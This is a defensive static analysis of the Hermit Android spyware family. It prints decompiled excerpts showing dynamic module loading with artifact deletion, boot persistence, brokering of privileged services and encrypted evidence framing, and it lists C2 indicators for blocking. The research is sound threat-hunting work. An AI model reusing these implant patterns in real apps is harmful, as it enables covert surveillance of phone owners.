Evidence repository - hashes, capability tables, ABI dictionary, protocol notes, reproducibility notes, and selected decompiled evidence are maintained in
norahc-x/Hermit. This article is the narrative version of that repository.
Scope - this is static analysis only. The APKs were not installed, executed, or allowed to contact command-and-control infrastructure. Indicators are included for defensive research.
Overview
Hermit is an Android surveillanceware family attributed in public reporting to RCS Lab, an Italian surveillance vendor. The two builds analyzed here are interesting because they are from the same operator campaign, but they postdate the June 2022 public disclosure: one was packaged in 2023, the other in 2024.
The important finding is architectural. The APK is not a monolithic spyware implant. It is a first-stage dropper and module framework. It fingerprints the device, decrypts configuration, initializes transport, hosts privileged Android services, loads downloaded modules through DexClassLoader, and then deletes the module artifacts after loading.
The collectors themselves were not recovered. That makes the boundary between built-in behavior and module-implied behavior important throughout the analysis.
Samples
20a567a | 47df247 | |
|---|---|---|
| Package | com.tencent.mobileqq | com.android.cts.permission |
| Mask | QQ-like package | Android CTS permission package |
| Agent build | 2.9.29 | 2.9.48 |
| Packaged | 2023-03-03 | 2024-04-18 |
| C2 | 2.229.62.82:8442 | 62.101.107.174:8441 |
| Lure | tim.it | windtre.it |
| Campaign constants | cid=105448, nid=666 | cid=105448, nid=666 |
The package names, C2 endpoints, certificates, native library names, and keys rotate. The architecture, module contract, stage-2 agent, crypto algorithms, and campaign constants stay stable.
Manifest surface
Both droppers target Android API 21. That matters because the app asks for a broad surveillance-oriented permission set while keeping the legacy target SDK.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/resources/AndroidManifest.xml
<uses-sdk
android:minSdkVersion="21"
android:targetSdkVersion="21"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_CALENDAR"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"/>
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
This manifest block does not prove each collector is implemented in the dropper. It proves the first stage is provisioned for those data classes and privileged Android surfaces. The code sweep later separates what is built in from what is only supported by permissions and modules.
The manifest also declares persistence and push channels.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/resources/AndroidManifest.xml
<receiver
android:name="rgpa.piolcra.lnn"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.REBOOT"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
</intent-filter>
</receiver>
<service
android:name="sdhqdctolt.ans.vdshel"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT"/>
</intent-filter>
</service>
<service
android:name="cllwlbubo.otq.hxzmwmz"
android:exported="false">
<intent-filter>
<action android:name="com.huawei.push.action.MESSAGING_EVENT"/>
</intent-filter>
</service>
The dual FCM and Huawei HMS push support gives the operator a wake and command path across both Google and Huawei Android ecosystems.
Architecture
stage-1 dropper
-> native library
-> XOR config and payload decoding
-> encrypted res/raw configuration
-> C2 pool, RSA public key, push settings, campaign IDs
-> embedded stage-2 agent: com.android.ep
-> protobuf evidence channel and AES/RSA/HMAC framing
-> module engine
-> downloads module APKs, loads them with DexClassLoader, deletes artifacts
-> com.android.apn.common.Module ABI
-> 33 Module.Events constants, lifecycle map, delegate callback
-> privileged Android services
-> AccessibilityService, NotificationListenerService, MediaProjection consent
The dropper is mostly orchestration. It owns the Android permissions and privileged service bindings, then exposes them to runtime modules through a stable Java interface and a string-key parameter map.
Execution flow
flowchart TD
A[User installs or opens stage-1 APK] --> B[Application.onCreate]
B --> C[Cache app ClassLoader]
B --> D[Load native library]
D --> E[Decode embedded configuration]
E --> F[Initialize C2 server pool and TLS pinning]
E --> G[Register FCM and HMS push channels]
E --> H[Extract and load embedded stage-2 agent]
E --> I[Evaluate module configuration]
I --> J{Module enabled and eligible?}
J -- No --> I
J -- Yes --> K[Download module APK into private m/ directory]
K --> L[Load module with DexClassLoader]
L --> M[Instantiate configured Module class]
M --> N[Build lifecycle parameter map]
N --> O[setModuleDelegate]
O --> P[start or execute]
P --> Q[Delete source APK and optimized dex artifact]
P --> R[Module collects or reacts to core events]
R --> S[ModuleDelegate.onModuleEvent]
R --> T[ModuleDelegate.queryCore]
T --> U[Stage-2 encrypts protobuf evidence]
U --> V[HTTPS C2 transport]
The bootstrap stores the app ClassLoader, loads the native library, and starts the internal runtime.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/qfyrdurv/lrip/lbb.java
public class lbb extends Application {
public static ClassLoader c;
@Override
public void onCreate() {
super.onCreate();
c = getClassLoader();
System.loadLibrary("qaxdogidyo");
d = this;
this.a = new rd(this);
this.a.f();
}
}
The module loader uses that cached loader as the parent for downloaded modules.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java
this.c = new DexClassLoader(
str,
context.getDir("m", 0).getAbsolutePath(),
null,
lbb.c)
.loadClass(this.b.getModule())
.newInstance();
After loading, the source APK and optimized dex artifact are deleted.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java
File file = new File(str);
new File(str.substring(0, str.lastIndexOf(".apk")) + ".dex").delete();
if (file.exists()) {
return file.delete();
}
That deletion is one reason a static snapshot of the first-stage APK underrepresents what the implant can do at runtime.
Module ABI
Hermit’s stable plugin interface is com.android.apn.common.Module plus ModuleDelegate. Modules do not need to know the dropper’s obfuscated internal class names. They need the ABI, the event enum, and the lifecycle map.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/com/android/apn/common/Module.java
public abstract class Module {
public enum Events {
RECORDER_INFO_MAX_DURATION_REACHED,
RECORDER_INFO_MAX_FILESIZE_REACHED,
RECORDER_EVENT_ERROR,
PERMISSION_INFO_DENIED,
MISSING_PARAMETER,
LOCATION_INFO_CHANGED,
ROOT_INFO_SUCCEDED,
ROOT_INFO_FAILED,
EXPLOIT_SUCCEDED,
EXPLOIT_FAILED,
PACKAGES_CHANGES,
PLATFORM_LEVELS_CHANGES,
PLATFORM_LIMIT_REACHED,
SCREEN_OFF,
DEVICE_IDLE,
APP_WATCHING,
STARTING_RECORDING,
PAUSE_RECORDING,
LIMITS_REACHED,
CALL,
TIME_CHANGED,
CREADY,
HTTP,
SCREEN_ON_REQUESTED,
LOG,
CELLINFO,
FG,
E,
K,
NLS,
AS,
AST,
MP
}
public abstract InfoRequest askInfo();
public abstract Map<String, Object> getUsedConfiguration();
public void onCoreEvent(Events events, Object... objArr) {}
public abstract void setModuleDelegate(Object... objArr);
public abstract void start(Object... objArr);
public abstract void stop(Object... objArr);
public abstract void remove(Object... objArr);
}
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/com/android/apn/common/ModuleDelegate.java
public interface ModuleDelegate {
void onModuleEvent(Object obj, Module.Events events);
void onModuleFinished(Object obj);
Object queryCore(Object obj);
}
The enum order is part of the ABI because dispatcher code switches on events.ordinal(). A misordered event is not cosmetic; it changes semantics.
Lifecycle map
The core passes a large map into a module at startup. This gives the module context, operator keys, output locations, exploit state, encryption state, and campaign identifiers.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java
hashMap2.put("context", context);
hashMap2.put("nativeAbsolutePath", dir.getAbsolutePath() + File.separator);
hashMap2.put("roomId", ah.h().e);
hashMap2.put("moduleParametersArray", objArr);
hashMap2.put("fingerprint", str);
hashMap2.put("cType", this.b.getContentype());
hashMap2.put("ht", ah.h().b());
hashMap2.put("se", tg.e().a.getSupportedExploit());
hashMap2.put("ps", Integer.valueOf(ah.h().c));
hashMap2.put("hi", Boolean.valueOf(tg.e().a().a()));
hashMap2.put("e", Boolean.valueOf(tg.e().a.isEncrypt()));
hashMap2.put("pk1", tg.e().c().getPublicKey());
hashMap2.put("fp1", tg.e().c().getFingerprint());
hashMap2.put("pk2", tg.e().b.get(EncryptionKey.K_2).getPublicKey());
hashMap2.put("fp2", tg.e().b.get(EncryptionKey.K_2).getFingerprint());
hashMap2.put("destDir", file.getAbsolutePath());
hashMap2.put("cid", "105448");
hashMap2.put("nid", 666);
The lifecycle call is reflective and consistent: delegate first, then start or execute with the map.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/org/p000void/we.java
Map<String, Object> args = a(this.c, context, this.d, map);
a(this.d, this.c, "setModuleDelegate", new Object[]{new Object[]{bf.h()}});
a(this.d, this.c, "start", new Object[]{new Object[]{args}});
Privileged service bridge
The dropper does not only provide strings and keys. It brokers live Android service objects to modules.
Notification access is exposed through Module.Events.NLS.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/xegkniy/wocugwq/kohejqswkwyu.java
public void onNotificationPosted(StatusBarNotification statusBarNotification) {
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("nsl", this);
hashMap.put("mc", 0);
hashMap.put("sbn", statusBarNotification);
bf.h().a(Module.Events.NLS, hashMap);
}
Accessibility events are exposed through AS; service state changes are exposed through AST.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/iqgsfqn/dlvsyuxxbz/gfdccjdpdxef.java
public static void a() {
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("asi", b);
hashMap.put("ase", c);
bf.h().a(Module.Events.AS, hashMap);
}
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/iqgsfqn/dlvsyuxxbz/gfdccjdpdxef.java
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("ast", Boolean.valueOf(z));
if (z) {
hashMap.put("asi", b);
}
bf.h().a(Module.Events.AST, hashMap);
MediaProjection consent is brokered by the core, then the live projection object is handed to modules.
Path: decompiled/stage1_dropper_47df_com.android.cts.permission/sources/gfdq/pesci/ijyyfdh.java
MediaProjection mediaProjection =
mediaProjectionManager.getMediaProjection(kVar.a, (Intent) kVar.b.clone());
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("9bf25844-eb02-4fda-af62-da69e239dc61", mediaProjection);
bf.h().a(Module.Events.MP, hashMap);
The UUID map key is build-specific. The durable behavior is the combination of masquerade, legacy target SDK, dynamic modules, and core-brokered Accessibility, Notification Listener, and MediaProjection surfaces.
Stage-2 evidence channel
The embedded com.android.ep agent frames evidence and status traffic. The payload is encrypted with AES-256-CBC; the AES key and IV are wrapped with the C2 RSA public key; the encrypted payload is authenticated with HMAC-SHA256.
Path: decompiled/stage2_agent_com.android.ep/sources/pi/ce/e.java
public static Common.EncryptedData a(
SecretKey secretKey,
IvParameterSpec ivParameterSpec,
PublicKey publicKey) {
Common.EncryptedData.Builder newBuilder = Common.EncryptedData.newBuilder();
newBuilder.setType("RSA/ECB/PKCS1Padding");
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(1, publicKey);
newBuilder.setData(r.a(cipher.doFinal(
Common.RsaBlock.newBuilder()
.setIv(r.a(ivParameterSpec.getIV()))
.setKey(r.a(secretKey.getEncoded()))
.build()
.toByteArray())));
return newBuilder.build();
}
public static Common.EncryptedData a(
byte[] bArr,
SecretKey secretKey,
IvParameterSpec ivParameterSpec) {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(1, secretKey, ivParameterSpec);
Common.EncryptedData.Builder newBuilder = Common.EncryptedData.newBuilder();
newBuilder.setType("AES/CBC/PKCS5Padding");
newBuilder.setData(r.a(cipher.doFinal(bArr)));
return newBuilder.build();
}
Path: decompiled/stage2_agent_com.android.ep/sources/pi/ce/e.java
newBuilder.setChecksum(
Common.EncryptedData.newBuilder()
.setType("HmacSHA256")
.setData(r.a(bArr, 0, bArr.length)));
The first-stage config/control channel is simpler: it uses Base64 over the native axelan XOR routine. The stage-2 evidence channel is the part that provides real confidentiality and integrity for module output.
Built-in vs module-implied
This distinction matters because the collector modules were not recovered.
Confirmed built-in: dynamic module loading and post-load deletion; Accessibility, Notification Listener, and MediaProjection primitives; boot persistence; push wake channels; foreground-service stealth; stage-2 evidence framing; self-destruct logic.
Module-implied: audio recording, SMS/contact/call-log/calendar collection, GPS/cell collection, camera capture, call interception, and exploit/root execution. The ABI and permissions support these capabilities, and public reporting attributes them to Hermit, but the collectors are not present in the first-stage APKs analyzed here.
The dropper code contains no first-party AudioRecord/MediaRecorder, SMS content provider, contacts/call-log collector, or camera API collector. The only LocationManager references are relocated AndroidX AppCompat code, not surveillance logic.
Detection opportunities
Durable anchors are the traits that survived both builds:
com.android.apn.common.Module,ModuleDelegate, andModule.EventsDexClassLoadermodules loaded from a privatem/directory, followed by source artifact deletion- embedded stage-2
com.android.ep - XOR key family around
axelanfor the control/config channel - stage-2 AES/RSA/HMAC envelope
cid=105448,nid=666- combined AccessibilityService, NotificationListenerService, and MediaProjection handling
Rotated indicators are still useful for blocking known samples, but should not become family signatures: package names, C2 IP and port, certificate pins, Firebase project values, native library names, and build-specific UUID keys.
Limitations
This analysis does not include recovered runtime modules. Capability claims are therefore separated into built-in, module-implied, framework-support, and permission-only categories in the evidence repository.
The 2023 and 2024 dates come from internally consistent APK and signature timestamps. They are credible and monotonic with the version numbers, but ZIP timestamps are forgeable. Treat them as evidence, not proof.
The ISP cooperation delivery detail comes from public reporting. The on-device evidence in these samples is the Italian telecom lure configuration.
Closing
Hermit’s most useful research surface is not any one IOC. It is the framework design: a thin Android dropper, a stable module ABI, privileged service objects brokered through the core, and module artifacts deleted after loading. That is the part defenders can hunt for after package names, C2 endpoints, and keys rotate.